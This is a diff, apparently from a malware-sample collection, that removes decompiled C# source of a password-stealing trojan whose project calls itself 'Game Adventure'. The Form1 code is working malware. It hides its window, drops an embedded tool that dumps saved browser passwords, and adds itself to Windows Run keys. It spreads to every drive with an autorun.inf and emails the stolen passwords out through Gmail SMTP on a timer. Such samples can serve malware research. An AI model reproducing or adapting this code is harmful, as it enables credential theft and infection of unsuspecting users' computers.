<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.NetPass.ae-109519bb1efb222d16a6264d9c0848300d8f13facd4f09fa011eae7a40c62622.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{F0256B7F-BB97-45DF-88C0-F8A22BC8CCB2}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Game Adventure</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>GAdvt</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Game Adventure", "Trojan-PSW.MSIL.NetPass.ae-109519bb1efb222d16a6264d9c0848300d8f13facd4f09fa011eae7a40c62622.csproj", "{F0256B7F-BB97-45DF-88C0-F8A22BC8CCB2}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{F0256B7F-BB97-45DF-88C0-F8A22BC8CCB2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{F0256B7F-BB97-45DF-88C0-F8A22BC8CCB2}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{F0256B7F-BB97-45DF-88C0-F8A22BC8CCB2}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{F0256B7F-BB97-45DF-88C0-F8A22BC8CCB2}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@ -1,13 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
[assembly: AssemblyCompany("dsfghdfgh")]
|
||||
[assembly: AssemblyProduct("dfghdfgh")]
|
||||
[assembly: AssemblyCopyright("Copyright © Microsoft 2011")]
|
||||
[assembly: AssemblyDescription("dfasdfasd")]
|
||||
[assembly: AssemblyTitle("asdfa")]
|
||||
[assembly: AssemblyFileVersion("1.6.6.2")]
|
||||
[assembly: Guid("527da709-3806-45de-8791-59299c3405c6")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyTrademark("dfghdfghdfgh")]
|
||||
[assembly: AssemblyVersion("1.5.2.3")]
|
||||
@ -1,116 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: sadfasdfjhbjhbajeb123.Class1
|
||||
// Assembly: asdfbn23ö4m23n4, Version=1.5.2.3, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: CF3DD519-BD0D-4928-A701-479DDBBFC6DB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.NetPass.de-1c7d09be238334d3c57027611e228f75c35500cb98e50280bd5ed291cd005c36.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace sadfasdfjhbjhbajeb123
|
||||
{
|
||||
public class Class1
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
public Class1()
|
||||
{
|
||||
}
|
||||
|
||||
public void JTRhjt_H6uGaq8LyKxXw09Gx()
|
||||
{
|
||||
int num1 = 2669354;
|
||||
while (num1 <= 1382008)
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
checked { ++num1; }
|
||||
}
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
int num2 = 2;
|
||||
while (num2 <= 0)
|
||||
checked { ++num2; }
|
||||
while (true)
|
||||
;
|
||||
}
|
||||
|
||||
public void JTRhjt_Yl23brFi1TllFNs0d()
|
||||
{
|
||||
int num = 6422239;
|
||||
while (num <= 315558)
|
||||
checked { ++num; }
|
||||
}
|
||||
|
||||
public void JTRhjt_G21hr92S()
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
int num1 = 1532894;
|
||||
do
|
||||
{
|
||||
checked { ++num1; }
|
||||
}
|
||||
while (num1 <= 7714381);
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
int num2 = 534056;
|
||||
do
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
checked { ++num2; }
|
||||
}
|
||||
while (num2 <= 3253644);
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
int num3 = 8292317;
|
||||
while (num3 <= 7559879)
|
||||
checked { ++num3; }
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,350 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: sadfasdfjhbjhbajeb123.Form1
|
||||
// Assembly: asdfbn23ö4m23n4, Version=1.5.2.3, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: CF3DD519-BD0D-4928-A701-479DDBBFC6DB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.NetPass.de-1c7d09be238334d3c57027611e228f75c35500cb98e50280bd5ed291cd005c36.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using Microsoft.Win32;
|
||||
using sadfasdfjhbjhbajeb123.My;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Mail;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace sadfasdfjhbjhbajeb123
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("TextBox1")]
|
||||
private TextBox _TextBox1;
|
||||
[AccessedThroughProperty("BackgroundWorker1")]
|
||||
private BackgroundWorker _BackgroundWorker1;
|
||||
[AccessedThroughProperty("TextBox2")]
|
||||
private TextBox _TextBox2;
|
||||
[AccessedThroughProperty("lblNumb")]
|
||||
private Label _lblNumb;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private Label _Label1;
|
||||
[AccessedThroughProperty("Timer2")]
|
||||
private System.Windows.Forms.Timer _Timer2;
|
||||
[AccessedThroughProperty("Timer3")]
|
||||
private System.Windows.Forms.Timer _Timer3;
|
||||
private string Stub;
|
||||
private string text1;
|
||||
private string text2;
|
||||
private string[] settings;
|
||||
private string user;
|
||||
private string pass;
|
||||
private string Stored;
|
||||
private const string FileSplit = "JTRuST";
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
this.TextBox1 = new TextBox();
|
||||
this.BackgroundWorker1 = new BackgroundWorker();
|
||||
this.TextBox2 = new TextBox();
|
||||
this.lblNumb = new Label();
|
||||
this.Label1 = new Label();
|
||||
this.Timer2 = new System.Windows.Forms.Timer(this.components);
|
||||
this.Timer3 = new System.Windows.Forms.Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
TextBox textBox1_1 = this.TextBox1;
|
||||
Point point1 = new Point(21, 24);
|
||||
Point point2 = point1;
|
||||
textBox1_1.Location = point2;
|
||||
this.TextBox1.Multiline = true;
|
||||
this.TextBox1.Name = "TextBox1";
|
||||
TextBox textBox1_2 = this.TextBox1;
|
||||
Size size1 = new Size(248, 225);
|
||||
Size size2 = size1;
|
||||
textBox1_2.Size = size2;
|
||||
this.TextBox1.TabIndex = 0;
|
||||
TextBox textBox2_1 = this.TextBox2;
|
||||
point1 = new Point(21, (int) byte.MaxValue);
|
||||
Point point3 = point1;
|
||||
textBox2_1.Location = point3;
|
||||
this.TextBox2.Multiline = true;
|
||||
this.TextBox2.Name = "TextBox2";
|
||||
TextBox textBox2_2 = this.TextBox2;
|
||||
size1 = new Size(248, 112);
|
||||
Size size3 = size1;
|
||||
textBox2_2.Size = size3;
|
||||
this.TextBox2.TabIndex = 1;
|
||||
this.lblNumb.AutoSize = true;
|
||||
this.lblNumb.Font = new Font("Tahoma", 8.25f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.lblNumb.ForeColor = System.Drawing.Color.Red;
|
||||
Label lblNumb1 = this.lblNumb;
|
||||
point1 = new Point(54, 380);
|
||||
Point point4 = point1;
|
||||
lblNumb1.Location = point4;
|
||||
this.lblNumb.Name = "lblNumb";
|
||||
Label lblNumb2 = this.lblNumb;
|
||||
size1 = new Size(14, 13);
|
||||
Size size4 = size1;
|
||||
lblNumb2.Size = size4;
|
||||
this.lblNumb.TabIndex = 19;
|
||||
this.lblNumb.Text = "0";
|
||||
this.Label1.AutoSize = true;
|
||||
this.Label1.Font = new Font("Tahoma", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
Label label1_1 = this.Label1;
|
||||
point1 = new Point(12, 380);
|
||||
Point point5 = point1;
|
||||
label1_1.Location = point5;
|
||||
this.Label1.Name = "Label1";
|
||||
Label label1_2 = this.Label1;
|
||||
size1 = new Size(42, 13);
|
||||
Size size5 = size1;
|
||||
label1_2.Size = size5;
|
||||
this.Label1.TabIndex = 20;
|
||||
this.Label1.Text = "Kayıtlı :";
|
||||
this.Timer2.Enabled = true;
|
||||
this.Timer2.Interval = 50000;
|
||||
this.Timer3.Enabled = true;
|
||||
this.Timer3.Interval = 60000;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
size1 = new Size(0, 0);
|
||||
this.ClientSize = size1;
|
||||
this.Controls.Add((Control) this.lblNumb);
|
||||
this.Controls.Add((Control) this.Label1);
|
||||
this.Controls.Add((Control) this.TextBox2);
|
||||
this.Controls.Add((Control) this.TextBox1);
|
||||
this.FormBorderStyle = FormBorderStyle.None;
|
||||
this.Name = nameof (Form1);
|
||||
this.Opacity = 0.0;
|
||||
this.ShowIcon = false;
|
||||
this.ShowInTaskbar = false;
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
|
||||
}
|
||||
|
||||
internal virtual BackgroundWorker BackgroundWorker1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._BackgroundWorker1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
DoWorkEventHandler workEventHandler = new DoWorkEventHandler(this.BackgroundWorker1_DoWork);
|
||||
if (this._BackgroundWorker1 != null)
|
||||
this._BackgroundWorker1.DoWork -= workEventHandler;
|
||||
this._BackgroundWorker1 = value;
|
||||
if (this._BackgroundWorker1 == null)
|
||||
return;
|
||||
this._BackgroundWorker1.DoWork += workEventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._TextBox2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value;
|
||||
}
|
||||
|
||||
internal virtual Label lblNumb
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._lblNumb;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._lblNumb = value;
|
||||
}
|
||||
|
||||
internal virtual Label Label1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Label1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Forms.Timer Timer2
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Timer2;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Timer2_Tick);
|
||||
if (this._Timer2 != null)
|
||||
this._Timer2.Tick -= eventHandler;
|
||||
this._Timer2 = value;
|
||||
if (this._Timer2 == null)
|
||||
return;
|
||||
this._Timer2.Tick += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Forms.Timer Timer3
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Timer3;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Timer3_Tick);
|
||||
if (this._Timer3 != null)
|
||||
this._Timer3.Tick -= eventHandler;
|
||||
this._Timer3 = value;
|
||||
if (this._Timer3 == null)
|
||||
return;
|
||||
this._Timer3.Tick += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
public string wpv()
|
||||
{
|
||||
byte[] wpv = sadfasdfjhbjhbajeb123.My.Resources.Resources.wpv;
|
||||
FileSystem.FileOpen(1, Interaction.Environ("tmp") + "\\wpv.exe", OpenMode.Binary);
|
||||
FileSystem.FilePut(1, (Array) wpv, -1L, false, false);
|
||||
FileSystem.FileClose(1);
|
||||
Interaction.Shell(Interaction.Environ("tmp") + "\\wpv.exe /stext " + Interaction.Environ("tmp") + "\\wpv.txt", AppWinStyle.Hide);
|
||||
return System.IO.File.ReadAllText(Interaction.Environ("tmp") + "\\wpv.txt");
|
||||
}
|
||||
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.Visible = false;
|
||||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||||
this.text1 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
this.text2 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
FileSystem.FileGet(1, ref this.text1);
|
||||
FileSystem.FileGet(1, ref this.text2);
|
||||
FileSystem.FileClose(1);
|
||||
this.settings = Strings.Split(this.text1, "JTRuST");
|
||||
this.user = this.settings[1];
|
||||
this.pass = this.settings[2];
|
||||
try
|
||||
{
|
||||
string fileName = Path.GetFileName(Application.ExecutablePath);
|
||||
MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\\Windows\\System32" + fileName, true);
|
||||
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
||||
registryKey.SetValue(fileName, (object) "msnmgr");
|
||||
registryKey.Close();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
Form1.AddStartup(this.Text, Application.ExecutablePath);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
this.Timer2.Start();
|
||||
this.Timer3.Start();
|
||||
}
|
||||
|
||||
public static void AddStartup(string Name, string Path) => Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(Name, (object) Path, RegistryValueKind.String);
|
||||
|
||||
private void BackgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
ListBox listBox = new ListBox();
|
||||
int index1 = 0;
|
||||
while (index1 != checked (MyProject.Computer.FileSystem.Drives.Count - 1))
|
||||
{
|
||||
listBox.Items.Add((object) MyProject.Computer.FileSystem.Drives[index1].ToString());
|
||||
checked { ++index1; }
|
||||
}
|
||||
int index2 = 0;
|
||||
while (index2 != listBox.Items.Count)
|
||||
{
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
MyProject.Computer.FileSystem.DeleteFile(Conversions.ToString(Operators.AddObject(listBox.Items[index2], (object) "Sys.exe")));
|
||||
MyProject.Computer.FileSystem.DeleteFile(Conversions.ToString(Operators.AddObject(listBox.Items[index2], (object) "autorun.inf")));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Conversions.ToString(Operators.AddObject(listBox.Items[index2], (object) "Sys.exe")));
|
||||
FileSystem.FileOpen(1, Conversions.ToString(Operators.AddObject(listBox.Items[index2], (object) "autorun.inf")), OpenMode.Binary);
|
||||
FileSystem.FilePut(1, "[autorun]\r\nshellexecute=sys.exe", -1L, false);
|
||||
FileSystem.FileClose(1);
|
||||
try
|
||||
{
|
||||
MyProject.Computer.FileSystem.GetFileInfo(Conversions.ToString(Operators.AddObject(listBox.Items[index2], (object) "Sys.exe"))).Attributes = FileAttributes.Hidden | FileAttributes.System;
|
||||
MyProject.Computer.FileSystem.GetFileInfo(Conversions.ToString(Operators.AddObject(listBox.Items[index2], (object) "autorun.inf"))).Attributes = FileAttributes.Hidden | FileAttributes.System;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
checked { ++index2; }
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
|
||||
private void Timer2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.wpv();
|
||||
this.TextBox1.Text = System.IO.File.ReadAllText(Interaction.Environ("tmp") + "\\wpv.txt");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
|
||||
private void Timer3_Tick(object sender, EventArgs e) => new SmtpClient("smtp.gmail.com")
|
||||
{
|
||||
Port = 587,
|
||||
Credentials = ((ICredentialsByHost) new NetworkCredential(this.user, this.pass)),
|
||||
EnableSsl = true
|
||||
}.Send(new MailMessage()
|
||||
{
|
||||
From = new MailAddress(this.user),
|
||||
To = {
|
||||
this.user
|
||||
},
|
||||
Subject = "C:\\ Browser Hunter : Şifreler Kurban : " + MyProject.Computer.Name,
|
||||
Body = this.TextBox1.Text
|
||||
});
|
||||
}
|
||||
}
|
||||
@ -1,120 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@ -1,48 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: sadfasdfjhbjhbajeb123.My.MyApplication
|
||||
// Assembly: asdfbn23ö4m23n4, Version=1.5.2.3, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: CF3DD519-BD0D-4928-A701-479DDBBFC6DB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-PSW.MSIL.NetPass.de-1c7d09be238334d3c57027611e228f75c35500cb98e50280bd5ed291cd005c36.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace sadfasdfjhbjhbajeb123.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerHidden]
|
||||
[STAThread]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
@ -1,24 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: sadfasdfjhbjhbajeb123.My.MyComputer
|
||||
// Assembly: asdfbn23ö4m23n4, Version=1.5.2.3, Culture=neutral, PublicKeyToken=null
|
||||
